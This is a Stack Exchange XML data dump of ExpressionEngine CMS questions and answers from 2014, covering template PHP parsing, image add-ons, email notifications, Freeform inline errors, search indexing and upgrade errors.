  <row Id="25323" PostTypeId="2" ParentId="25322" CreationDate="2014-08-26T16:29:44.700" Score="0" Body="&lt;p&gt;Jumped the gun a bit there, I've solved it the moment I posted the question. Hopefully my answer might help someone else having the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to change the PHP parsing stage in the template from &quot;Output&quot; to &quot;Input&quot;.&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2014-08-26T16:29:44.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25324" PostTypeId="2" ParentId="25319" CreationDate="2014-08-26T17:34:43.160" Score="2" Body="&lt;p&gt;If you are using the split method in you php code, you shouldn't. If you see on the &lt;a href=&quot;http://php.net/manual/en/function.split.php&quot; rel=&quot;nofollow&quot;&gt;documentation page&lt;/a&gt;, the split method is being deprecated. You should use one of the alternate functions listed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't trying to use regular expressions, you should probably just use the &lt;a href=&quot;http://php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot;&gt;explode method&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-11-25T15:21:47.107" LastActivityDate="2014-11-25T15:21:47.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25325" PostTypeId="1" CreationDate="2014-08-26T18:12:43.260" Score="0" ViewCount="44" Body="&lt;p&gt;I have the following php code in a template and it's not parsing the whole thing.  Any idea what the issue is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &quot;Eventbrite.php&quot;; &#xA;&#xA;$authentication_tokens = array('app_key'  =&amp;gt; 'YOUR_APP_KEY',&#xA;                           'user_key' =&amp;gt; 'YOUR_USER_KEY');&#xA;&#xA;$eb_client = new Eventbrite( $authentication_tokens );&#xA;&#xA;$events = $eb_client-&amp;gt;user_list_events(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what's being outputted on frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;'YOUR_APP_KEY', 'user_key'=&gt;'YOUR_USER_KEY'); $eb_client = new Eventbrite( $authentication_tokens ); $events = $eb_client-&gt;user_list_events(); ?&gt;&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2014-09-25T19:06:01.790" Title="Only some PHP being outputted" Tags="|templates|php|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25326" PostTypeId="2" ParentId="25325" CreationDate="2014-08-26T18:27:19.833" Score="1" Body="&lt;p&gt;First thing, do you have php e&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/edit_template.html#preferences&quot; rel=&quot;nofollow&quot;&gt;nabled on the template&lt;/a&gt;? It looks like it is thinking that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &quot;Eventbrite.php&quot;; &#xA;&#xA;$authentication_tokens = array('app_key'  =&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is just a bad html element. So make sure to enable php on (I think you want) input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, make sure that Eventbrite.php is actually being included correctly.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-26T18:27:19.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25327" PostTypeId="2" ParentId="25320" CreationDate="2014-08-26T18:56:09.573" Score="1" Body="&lt;p&gt;Make sure you have added your license key in the fieldtype settings. This is required for the plugin to update your database tables correctly.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-08-26T19:34:46.987" LastActivityDate="2014-08-26T19:34:46.987" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25328" PostTypeId="1" AcceptedAnswerId="25371" CreationDate="2014-08-26T20:00:02.893" Score="0" ViewCount="231" Body="&lt;p&gt;I'm struggling to get CE Image to work on my install. I'm on a Windows server and have made the 'images/made' and 'images/remote' folders and given full control to everyone to make them writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I include the tag pair in my template, it's as if CE Image isn't doing anything. Here's my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            if(&quot;{cf_recipes_size}&quot; == &quot;tiny&quot; or &quot;{cf_beers_size}&quot; == &quot;tiny&quot;)&#xA;            {&#xA;                $imgWidth   = &quot;270&quot;;&#xA;                $imgHeight  = &quot;270&quot;;&#xA;            }&#xA;            else if(&quot;{cf_recipes_size}&quot; == &quot;vert&quot; or &quot;{cf_beers_size}&quot; == &quot;vert&quot;)&#xA;            {&#xA;                $imgWidth   = &quot;270&quot;;&#xA;                $imgHeight  = &quot;540&quot;;&#xA;            }&#xA;            else if(&quot;{cf_recipes_size}&quot; == &quot;hori&quot; or &quot;{cf_beers_size}&quot; == &quot;hori&quot;)&#xA;            {&#xA;                $imgWidth   = &quot;540&quot;;&#xA;                $imgHeight  = &quot;270&quot;;&#xA;            }&#xA;            else if(&quot;{cf_recipes_size}&quot; == &quot;big&quot; or &quot;{cf_beers_size}&quot; == &quot;big&quot;)&#xA;            {&#xA;                $imgWidth   = &quot;540&quot;;&#xA;                $imgHeight  = &quot;540&quot;;&#xA;            }&#xA;&#xA;            ?&amp;gt;&#xA;&#xA;&#xA;&#xA;            {exp:ce_img:pair src=&quot;{cf_recipes_image}&quot;}&#xA;                    &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;&amp;lt;?php echo $imgWidth; ?&amp;gt;px&quot;              height=&quot;&amp;lt;?php echo $imgHeight; ?&amp;gt;px&quot; /&amp;gt;&#xA;            {/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've turned on template debugging but there's nothing there to suggest that the directories can't be created. the URL generated from the {made} tag is just the source URL of the uploaded image (via a standard EE file control for a custom field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/assets/desserts/orange.png&quot; alt=&quot;&quot; width=&quot;540px&quot; height=&quot;540px&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this isn't working?&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2014-08-28T15:00:36.697" Title="CE Image not populating 'made' folder" Tags="|ce-image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25329" PostTypeId="1" CreationDate="2014-08-26T20:19:30.117" Score="1" ViewCount="320" Body="&lt;p&gt;I have tried using all three methods in the Email Configuration method and when I test these methods via the Tools &gt;&gt; Communicate all three of them work. However when an order is submitted on the website we do not get an Admin Order Notification nor does the customer receive anything. What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f7QBe.jpg&quot; alt=&quot;Here is the email template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIP2P.jpg&quot; alt=&quot;This is the order status, if this is the one you were asking for&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3518" LastEditorUserId="343" LastEditDate="2015-04-25T16:22:32.183" LastActivityDate="2016-01-22T08:09:35.897" Title="ExpressionEngine Email Configuration" Tags="|email|config|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25330" PostTypeId="2" ParentId="25215" CreationDate="2014-08-26T21:35:28.460" Score="0" Body="&lt;p&gt;the documentation does not seem to offer sort options. you can see the docs here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#checkbox-fields&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#checkbox-fields&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a test output in a site that I have in v2.5.3 (that's as old as I could test) and the fields output exactly as entered. If yours are not, and you've reordered them in the field definition, perhaps you need to a) clear template caches and/or b) re-save an entry to see if that changes anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CONFIRMED&lt;/strong&gt;: Re-saving the entry will display the items in the proper order.&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2014-08-26T21:35:28.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25332" PostTypeId="2" ParentId="25321" CreationDate="2014-08-26T23:06:51.113" Score="3" Body="&lt;p&gt;When I need to use LowSearch with Store I usually also use Solspace PreParse in that channel too. To set this up you will need to do a few steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an additional textarea field in your field group &lt;code&gt;store_detailes_parsed&lt;/code&gt; make sure that it searchable.&lt;/li&gt;&#xA;&lt;li&gt;Create an additional template in your partials/embeds folder &lt;code&gt;_partials/store_search&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the newly created template you will want to have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries entry_id=&quot;{preparse_entry_id}&quot;}&lt;br&gt;&#xA;{!-- assuming your store field is called store_details --}&#xA;{!-- we dont need to have the form or javascript in most cases --}&#xA;  {exp:store:product disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;  {!-- Now we need to output anything that we might want to make searchable like price or product variations --}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if on_sale}{sale_price}{if:else}{regular_price}{/if}&#xA;  {!-- in Store 2.x the sale price is not set in the channel entry so be careful because preparse will only update when the entry is saved again. --}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{!-- output the modifiers so they are also searchable and the  --}&#xA;  {modifier_options}&#xA;    {option_name} {price_inc_mod}{!-- show value for each option --}&#xA;  {modifier_options}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{ any other fieldtype items you want } &#xA;  {/exp:store:product} &#xA;{/exp:channel:entries}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Goto Add-ons &gt; Extensions &gt; PreParse and select the channel of your Store field and then the name of your custom field for Store. This should refresh the right content area you will want to select your newly created &lt;code&gt;store_details_parsed&lt;/code&gt; field and the &lt;code&gt;_partials/store_search&lt;/code&gt; respectively. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save and repeat for each additional channel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now you will need to modify your LowSearch Collections to use also search your newly created field.&lt;/li&gt;&#xA;&lt;li&gt;Rebuild your search indexes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you should be able to preform a search form the front-end of the site and have Store specific details be populated in the search. If you wanted to provide a bit more control you could only output the price into one field and the variations into another custom field and the sale price into yet another field. You would just need to repeat the steps 1-4 again but instead of selecting the store_details each time you would need to select a different custom field. This should work without an issue because you are not using the &lt;code&gt;{prepare_data}&lt;/code&gt; variable in the PreParse templates.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-26T23:06:51.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25333" PostTypeId="1" AcceptedAnswerId="25346" CreationDate="2014-08-27T00:15:13.497" Score="1" ViewCount="418" Body="&lt;p&gt;I couldn't see it in the docs - is there a way to do inline error handling with a Freeform Composer form when you've selected the form in a fieldtype? I want the authors to be able to add a form of their choice to a page by selecting the form in the dropdown, but also have the error handling done inline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs simply suggest using the field's short name which outputs the form, but the errors go to the ugly error screen and the info added is lost when you go back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see there's a {exp:freeform:composer} tag, but I'm not sure how to grab the relevant form ID from the selected option in the fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2017-01-20T03:49:28.433" Title="Solspace freeform composer fieldtype - inline errors" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25334" PostTypeId="2" ParentId="24946" CreationDate="2014-08-27T06:55:36.450" Score="1" Body="&lt;p&gt;Here's the solution to the above issue: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/24657/189&quot;&gt;https://expressionengine.stackexchange.com/a/24657/189&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in short, run this SQL and run module updates again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE  `exp_fieldtypes` SET  `version` =  '4.5' WHERE `name` =  'playa'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-08-27T06:55:36.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25335" PostTypeId="1" CreationDate="2014-08-27T08:10:53.397" Score="0" ViewCount="95" Body="&lt;p&gt;I wonder if anyone can point me in the right direction or even tell if there is something than can do the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i want a postcode lookup that will return an entry based on territories/location so for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I type my postcode in &quot;LL28 4AU&quot;&lt;/li&gt;&#xA;&lt;li&gt;Returns an entry that relates to that postcode&lt;/li&gt;&#xA;&lt;li&gt;if the postcode is not covered return a message saying sorry your area is not covered.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I dont want it to work from radius though because if there is an entry that is technically closer to the postcode but isnt actually covered by that entry and is actually covered one slightly further i would have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to relate to terriroties / postcodes covered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for badly worded question i cant find an easy way to say what i need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou to anyone that can help.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-28T23:59:25.930" Title="Postcode lookup with territories" Tags="|geofinder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25336" PostTypeId="1" CreationDate="2014-08-27T11:07:53.973" Score="0" ViewCount="127" Body="&lt;p&gt;I've just run the updater from 2.5.5 to 2.9.0 and have gotten:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{&quot;error&quot;:&quot;&#xA;Error Number: 1054\n\n&#xA;&#xA;Unknown column 'csrf_exempt' in 'field list'\n\n&#xA;&#xA;UPDATE `exp_actions` SET `csrf_exempt` = 1 WHERE `class` = 'Search' AND `method` = 'do_search'\n\n&#xA;&#xA;Filename: \/Daves's Sites\/site_name\/system\/expressionengine\/modules\/search\/upd.search.php\n\n&#xA;&#xA;Line Number: 185&quot;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone encountered this before?&lt;/p&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2016-06-09T17:33:32.793" Title="Updater Error Number: 1054" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25337" PostTypeId="2" ParentId="25335" CreationDate="2014-08-27T11:36:13.440" Score="0" Body="&lt;p&gt;It looks like you're working with UK postcodes which is going to make this difficult or at least costly to do &quot;properly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, and perhaps wrongly, the UK postcode data belongs to The Royal Mail. You can use it, but you have to but the data from them. Consequently there aren't any add-ons that can hook into this data to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to get a list of postcode lat/lng details but I'm not sure how this would work since postcodes don't cover areas of similar size or shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I dont want it to work from radius though because if there is an entry&#xA;  that is technically closer to the postcode but isnt actually covered&#xA;  by that entry and is actually covered one slightly further i would&#xA;  have a problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you mean that you have a series of entries for, say, dealerships and each dealership covers specific postcodes? If so, then I think your best bet would be to make use of a simple text search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a text field for each entry which contains the postcodes that it covers then run your search on that field to find a match. You may need to write a custom MySQL query and use the Query Module to execute it but from that point on it should be pretty straightforward to implement.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-27T11:36:13.440" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25338" PostTypeId="2" ParentId="24143" CreationDate="2014-08-27T11:41:26.967" Score="1" Body="&lt;p&gt;Heh... I used to run into this all the time on forums. The slightly hacky but fairly straightforward workaround is to &quot;interrupt&quot; the BBCode you &lt;em&gt;don't&lt;/em&gt; want to get parsed with something that &lt;em&gt;does&lt;/em&gt; get parsed into an invisible output, such as an empty tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;He said &quot;[i]t was a fine day for sailing...&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;He said &quot;[[b][/b]i]t was a fine day for sailing...&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More details in &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/bbcode.html#13397&quot; rel=&quot;nofollow&quot;&gt;my comment to the EE docs' BBCode tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-08-27T11:41:26.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25339" PostTypeId="2" ParentId="13983" CreationDate="2014-08-27T11:47:40.433" Score="0" Body="&lt;p&gt;I'll give the same &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24143/wygwam-making-i-italicise-content/25338#25338&quot;&gt;answer I gave in the other thread&lt;/a&gt; (is it ok to do that on SE?):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Heh... I used to run into this all the time on forums. The slightly&#xA;  hacky but fairly straightforward workaround is to &quot;interrupt&quot; the&#xA;  BBCode you &lt;em&gt;don't&lt;/em&gt; want to get parsed with something that &lt;em&gt;does&lt;/em&gt; get&#xA;  parsed into an invisible output, such as an empty tag.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So when you have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;He said &quot;[i]t was a fine day for sailing...&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;He said &quot;[[b][/b]i]t was a fine day for sailing...&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;More details in &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/bbcode.html#13397&quot; rel=&quot;nofollow noreferrer&quot;&gt;my comment to the EE docs' BBCode tag&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="544" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-08-27T11:47:40.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25340" PostTypeId="2" ParentId="24614" CreationDate="2014-08-27T12:04:19.853" Score="0" Body="&lt;p&gt;I contacted CartThrob Support and this what they came back with...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I reviewed the edit that the other user offered on StackExchange. After testing locally, I discovered that their fix is a good start, but won't fix the problem entirely.&#xA;The current channel form hook that triggers the email unfortunately already has both the start and end statuses set to the end status by the time it reaches the function to send the email. Basically whenever Channel Form submits, the start and end statuses are the same so that updated conditional will not send an email.&#xA;I made some edits to the ext.cartthrob.php file and the libraries/Cartthrob_emails.php file and it seems to be working now.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what specific changes were made in those files, but let me know if you'd like me to send you copies. :-)&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2014-08-27T12:04:19.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25341" PostTypeId="1" CreationDate="2014-08-27T12:41:28.567" Score="0" ViewCount="357" Body="&lt;p&gt;I've got datagrab set to import from a google doc spreadsheet in csv mode. There isn't much data in the grand scheme of things and only 250 records, but there are about 5 columns that are for relationship columns matching to other fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i have php memory limit of 512mb and plenty of processing time but it has serious issues in not importing the data for the relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any way to resolve this :(&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2019-10-01T10:01:00.113" Title="Datagrab doesn't import relationships consistently" Tags="|relationships|datagrab|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25342" PostTypeId="2" ParentId="25341" CreationDate="2014-08-27T12:41:28.567" Score="0" Body="&lt;p&gt;In the import settings, it says to reduce batches to roughly 20 if having memory issues. Well, let me be clear, you will need to reduce that to more like 5-10! It seems to use serious amounts of memory to do the relationship fields. Still having issues? Reduce it even further.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-08-27T12:41:28.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25343" PostTypeId="2" ParentId="25232" CreationDate="2014-08-27T13:15:20.907" Score="1" Body="&lt;p&gt;The version of forms that I updated the site to has a tag that does all of this for you. &lt;a href=&quot;http://www.devdemon.com/documentation/tag/output-javascript/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/tag/output-javascript/&lt;/a&gt; explains it all. Always helps to read the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added  queue_js=&quot;yes&quot; inside my forms tag &amp;amp; then added {exp:forms:output_js} just after I called jQuery at the bottom of my page.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-08-27T13:15:20.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25344" PostTypeId="1" CreationDate="2014-08-27T13:17:19.467" Score="2" ViewCount="263" Body="&lt;p&gt;I'm looking for a way to handle a grid field with the channel entry API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation has nothing, and could barely find anything else online about except for this: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/22448/inserting-a-new-grid-row-using-the-api&quot;&gt;Inserting a new Grid row using the API&lt;/a&gt;, but there is no solution through the API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone figured this one out yet? &lt;/p&gt;&#xA;" OwnerUserId="1994" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-08-27T20:15:59.800" Title="Channel Entry API and Grid field" Tags="|channel|grid|entries|entry|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25345" PostTypeId="1" CreationDate="2014-08-27T13:26:40.367" Score="0" ViewCount="93" Body="&lt;p&gt;There is an issue with channel:form, it is deleting data it should not. The following channel entry form will delete all grid entries I have for  product_images. The grid_entry field is product_images, and there are two columns called image and image_alt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet using this code (notice I am not editing the grid field product_images that is being deleted), the grid field will be blank after saving, and no other field will be affected, just this grid field used for images. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;products&quot; return=&quot;product&quot; entry_id=&quot;801&quot; include_jquery=&quot;no&quot; include_assets=&quot;no&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Save&quot;&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have other grid fields for the entry that are not deleted, and I have a File field that is not deleted. So its either something to do with this specific field, or to do with the Grid field that has a File field in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-08-27T20:17:03.170" LastActivityDate="2014-11-27T09:28:33.037" Title="channel:form is deleting data not included in the channel form" Tags="|safecracker|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25346" PostTypeId="2" ParentId="25333" CreationDate="2014-08-27T13:40:11.603" Score="1" Body="&lt;p&gt;To have inline errors in Freeform Composer, you need to create a &lt;strong&gt;custom Composer Template&lt;/strong&gt; since the default template does not contain inline error code.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;CP =&gt; Add-Ons =&gt; Modules =&gt; Freeform =&gt; Composer Templates&lt;/em&gt; and create a new Composer Template.&lt;/li&gt;&#xA;&lt;li&gt;Under the &lt;strong&gt;Template Params&lt;/strong&gt; setting, add your parameters, in particular &lt;code&gt;inline_errors&lt;/code&gt; / &lt;code&gt;yes&lt;/code&gt;. You can add other parameters if you need more.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;strong&gt;Composer Template&lt;/strong&gt; section, you should see the code for a default Composer Template. You will need to add inline error template code similar to what is in the documentation (see &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_error_field_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_error_field_name&lt;/a&gt;). Find the part that says:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:else}&#xA;    &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add the inline error code (arrange to your liking):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:else}&#xA;    &amp;lt;p&amp;gt;&#xA;        {composer:field_output}&#xA;&#xA;        {!-- composer:field_name will parse first to the field's name --}&#xA;        {if &quot;{freeform:error:{composer:field_name}}&quot;} &#xA;            &amp;lt;strong&amp;gt;{freeform:error:{composer:field_name}}&amp;lt;/strong&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need inline errors for &lt;em&gt;general errors&lt;/em&gt; (eg. captcha not filled in, etc), feel free to also add &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_general_errors&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;code&gt;{freeform:general_errors}&lt;/code&gt; code (see docs)&lt;/a&gt; as well in the Composer template where appropriate (eg. at the top of the Composer Template).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;strong&gt;Forms&lt;/strong&gt; section and click the icon in the &quot;Composer&quot; column to edit your Composer form.&lt;/li&gt;&#xA;&lt;li&gt;In the top left of the screen, select your newly created Composer Template from the dropdown. Save you form.&lt;/li&gt;&#xA;&lt;li&gt;Add the Freeform custom field to your custom field group. For this example, let's use &lt;code&gt;my_freeform_field&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now your users can select the Composer form from the Freeform custom field when filling out the entry form.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In your template, you can display the Composer form selected in the Channel Entry my simply calling its name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries /* your parameters */}&#xA;   &amp;lt;h3&amp;gt;The form:&amp;lt;/h3&amp;gt;&#xA;   {my_freeform_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there are no parameters for the Freeform custom field. If you need to use different parameters or a different Composer Template (and have these options available in the Freeform custom field), unfortunately that requires a new Composer form to link a new Composer Template. (&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Feature Requests can be written here&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2017-01-20T03:49:28.433" LastActivityDate="2017-01-20T03:49:28.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
